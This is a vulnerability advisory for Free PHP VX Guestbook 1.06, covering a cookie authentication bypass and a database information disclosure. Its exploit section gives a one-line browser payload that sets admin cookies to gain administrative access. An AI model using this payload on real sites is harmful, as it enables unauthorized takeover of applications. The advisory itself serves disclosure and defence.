Free PHP VX Guestbook Cookie Authentication Bypass And Information Disclosure Vulnerabilities

BID:31174

Info

Free PHP VX Guestbook Cookie Authentication Bypass And Information Disclosure Vulnerabilities

Bugtraq ID: 31174
Class: Access Validation Error
CVE: CVE-2008-7007
CVE-2008-7006
Remote: Yes
Local: No
Published: Sep 13 2008 12:00AM
Updated: Jul 05 2016 10:01PM
Credit: Stack, SirGod
Vulnerable: PHPVersion.Com Free PHP VX Guestbook 1.06
Not Vulnerable:

Discussion

Free PHP VX Guestbook Cookie Authentication Bypass And Information Disclosure Vulnerabilities

Free PHP VX Guestbook is prone to an authentication-bypass vulnerability and an information-disclosure vulnerability.

An attacker can exploit the authentication-bypass vulnerability to gain administrative access to the affected application. The attacker can exploit the information-disclosure issue to download the application's database.

Free PHP VX Guestbook 1.6 is vulnerable; other versions may also be affected.

Exploit / POC

Free PHP VX Guestbook Cookie Authentication Bypass And Information Disclosure Vulnerabilities

Attackers may exploit these issues through a browser.

The following example code is available:

javascript:document.cookie = "admin_name=1; path=/"; document.cookie = "admin_pass=1; path=/";

Solution / Fix

Free PHP VX Guestbook Cookie Authentication Bypass And Information Disclosure Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Free PHP VX Guestbook Cookie Authentication Bypass And Information Disclosure Vulnerabilities

References:

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